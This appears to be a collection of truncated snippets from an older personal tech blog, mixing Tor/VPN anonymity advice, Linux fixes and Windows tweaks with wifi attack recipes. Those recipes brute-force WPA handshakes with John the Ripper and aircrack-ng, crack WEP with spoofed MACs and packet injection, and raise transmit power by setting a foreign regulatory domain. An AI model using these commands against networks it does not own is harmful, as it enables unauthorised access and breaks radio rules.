Updated: 06/2016 Summary: Tor Browser is not enough. This short tutorial will help you to significantly improve your security in only 15 minutes.  Your online privacy is under attack. Government agencies (NSA, FBI etc.) and private companies (e.g. Google) are snooping on you. You will find a lot of tips on the web to achieve online anonymity, but most of it is useless. The information below will give you a rock-solid setup in a reasonable amount of time. If you run into any problems post a comment and I will help you out. It is possible to avoid being tracked, but to stay anonymous online you need a) a good setup and b) use your common sense. My setup | User -> VPN -> Tor -> Internet Using Tor alone is often not enough as a Harvard student had to learn when he emailed a bomb threat to campus officials to avoid having to write a final exam.  He was deanonymized by the fact that he was the only person using Tor on the campus network at the time the email was sent.

Please refer to this article for a tutorial on how to obtain a handshake. How to crack WPA/WPA 2 with aircrack-ng (Backtrack 5)  The limitation of a dictionary attack is that unless the password is in your dictionary file, your attack won't be successful. Another way to obtain the password is to brute force it with john the ripper. In theory it is possible to crack ANY password with this method, but it might take a million years to crack a full 128 ASCII characters password with your computer. Ok, the command: This was on Backtrack /pentest/password/jtr/john --stdout --incremental:all | aircrack-ng -b (bssid) -w file.cap (wpa handshake file) Debian sudo apt-get install john /usr/sbin/john --stdout --incremental:all | aircrack-ng -b (bssid) -w file.cap (wpa handshake file) By default john will only try passwords with 8 characters or less . However, the minimum  pass-phrase length for WPA is 8.You need to edit the john.conf file to change the max length of the outp

Just installed truecrypt on Mint 13. Mounting an encrypted file worked, but I could not open the drive itself. The solution is to simply install nautilus. sudo apt-get install nautilus

Exceptionally a tip for Win 7. Windows uses up to 20% of the bandwidth, but you can change this with the following steps. Run gpedit.msc ==> administrative settings ==>  network ==> qos packet scheduler ==> open LIMIT RESERVABLE BANDWIDTH ==> click on ENABLE and limit bandwidth to 0%. Restart. Thats it!

Recently I switched from Ubuntu to Linux Mint 13 on my HP mini netbook. Unfortunately I encountered a  'black-screen problem' similar to the one I already knew from Backtrack 5 ( http://ubuntu-skype.blogspot.co.at/2012/07/backtrack-5-black-screen-after-startx.html ). The solution was: press TAB add to the line  "..... ...... .... quiet splash "one of the following (depending on your chip set of your video card): radeon.modeset=1 i915.modeset=1 If that does not work for you try to add "driver=intel". E.g. quiet splash i915.modeset=1 driver=intel. I had success with that. Hope it works for you too!

Most information is stored in the /proc file. For example to obtain CPU or memory information simply enter: cat /proc/meminfo cat /proc/cpuinfo

Please be aware that there are country restrictions on maximum power. Commands iw reg set BO iwconfig  wlan0 txpower 30 That's it. You can check your settings with iwconfig .

Anybody should be able to do this. If you struggle with something, post a comment and I' ll get back to you. Requirements - Backtrack (or Linux with aircrack-ng installed) - Virtual machine (e.g. Vmware or Virtualbox) - USB Wifi adapter (you will need a wifi adapter which you can put in promiscuous mode . It wont work with your built-in notebook wifi card etc.) Buy this one: Alfa AWUS036H . It is cheap, reliable and works out of the box. Commands airmon-ng stop wlan0 ifconfig wlan0 down macchanger -m 00:11:22:33:44:55 wlan0 ifconfig wlan0 up airmon-ng start wlan0  ifconfig mon0 down macchanger -r (random mac) mon0 ifconfig mon0 up airodump-ng mon0 (scan for APs) Wait for a minute CTRL + C (stop scanning) Pick your own AP with WEP encryption airodump-ng -c (channel) -w (filename) —bssid (xx:xx:xx:xx:xx:xx) mon0 -w file, in which the data will be saved. —You need around 10k of data to successfully crack WEP— Open another console aireplay-ng -1 0 -a (BSS

You wan't to login to skype, but you can't because you receive the following error: '' another skype instance may exist ''. This seems to be a common problem with Skype and Ubuntu.
